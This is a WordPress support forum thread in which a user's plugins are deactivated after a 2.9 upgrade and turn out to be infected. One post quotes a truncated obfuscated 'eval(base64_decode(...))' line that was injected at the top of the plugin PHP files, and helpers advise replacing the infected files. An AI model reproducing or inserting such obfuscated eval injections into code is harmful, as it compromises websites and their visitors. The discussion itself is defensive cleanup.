Forums

All plug-ins deactivated and GONE after 2.9 upgrade! (10 posts)

  1. wharriman
    Member
    Posted 2 years ago #

    I just upgraded to version 2.9 yesterday, and today I went in to add a plug-in and saw that ALL of my plug-ins were deactivated with an error message that said they all had invalid headers. How do I get them back??? I had 30+ plug-ins, do I have to add them all again?

  2. wharriman
    Member
    Posted 2 years ago #

    UPDATE: I just tried to reinstall one (All in One SEO Pack) and the install failed, saying the destination folder already exists, so i CAN'T reinstall them.

    HELP!!

  3. Otto
    Tech Ninja
    Posted 2 years ago #

    Go into your site and look at the plugins themselves. Examine the files. See if they're corrupt or unreadable in some way.

    And contact your web host, only they can really help you with permissions errors on your own site.

  4. wharriman
    Member
    Posted 2 years ago #

    That's just it: all my plug-ins no longer appear in the dashboard area, except Akismet and Hello Dolly. All the rest are GONE, so I can't look at them in the editor. This has to be an issue with the 2.9 upgrade. I did not deactivate all the plug-ins before upgrading, which I've seen other people say to do, but that bit of info wasn't in the installation instructions. I did the automatic upgrade and it said it was successful.

    Also, this isn't a permissions issue, the error message said they all had invalid headers. Or am I wrong? Is there any way to revert to 2.8.6? I can't even restore my database because my DB Manager plug-in is GONE. Any help wold be greatly appreciated!

  5. Otto
    Tech Ninja
    Posted 2 years ago #

    Let me rephrase:

    Go into your site through your web host or via FTP or some other means that does not involve WordPress and verify the plugin files are there and have the correct permissions and are not corrupt and so on.

    WordPress is not your website. It is software that runs on your website. You need to look at the actual files that your website is made of in order to fix and debug the thing.

    You will not be able to fix this through WordPress alone. If that's a problem, you may want to find somebody who can fix it for you directly.

  6. wharriman
    Member
    Posted 2 years ago #

    Sorry, this is my first experience with this issue and I didn't understand. Thanks for your patience. I checked all the plug-ins through my FTP client and they are there, but all the PHP files start with this code:

    ?php /**/ eval(base64_decode("JGs9MTQ4OyRtPWV4cGxvZGUoIjsiLCIyNTM7MjQyOzE4ODsyNDI7MjI1OzI1MDsyNDc7MjI0OzI1MzsyNTE7MjUwOzIwMzsyNDE7MjM2OzI1MzsyMzE7MjI0OzIzMTsxODg7MTc5OzI1MTsyNDY7Mj...etc etc <?php

    Is this the invalid header the error referred to? I seem to remember this base64 crap as being a hack or something, is that right? can I just delete it and save the file to restore proper functionality of the plug-ins? Thanks again for your help and patience!

  7. Michael Torbert
    WordPress Virtuoso
    Posted 2 years ago #

    Any files with that code needs to be replaced. For your plugins, make a note of which ones you have installed, and delete them all (via FTP). Check your WordPress and theme files as well. Do you have any foreign code in your content?

  8. wharriman
    Member
    Posted 2 years ago #

    I checked every PHP file in my WP install and many had that code as the header. I removed it, saved the files and uploaded them back to the server. All my plug-ins returned, but now I have a different problem. I cannot reactivate 2 plug-ins, All in One SEO Pack and What Would Seth Godin Do. When I try to reactivate them, I get an error message,

    "Warning: Cannot modify header information - headers already sent by (output started at /home/content/w/h/a/wharriman/html/wp-content/themes/thesis_16/functions.php:1) in /home/content/w/h/a/wharriman/html/wp-includes/pluggable.php on line 868"

    The only way to get rid of it is to close the tab and log back into my admin area in a new tab. I have looked at that file and there is nothing wrong with it that I can see, but I don't know what to look for. Any ideas?

  9. Otto
    Tech Ninja
    Posted 2 years ago #

    Your theme may have been hacked as well. Check those files for the problem code.

  10. Adam W. Warner
    Member
    Posted 2 years ago #

    I just ran into the same problem after upgrading. I'm going through all my plugin and theme files now...ugh.

    Could this be related somehow to the upgrade, or do you think these hacks just happened to be exposed when upgrading?

Topic Closed

This topic has been closed to new replies.

About this Topic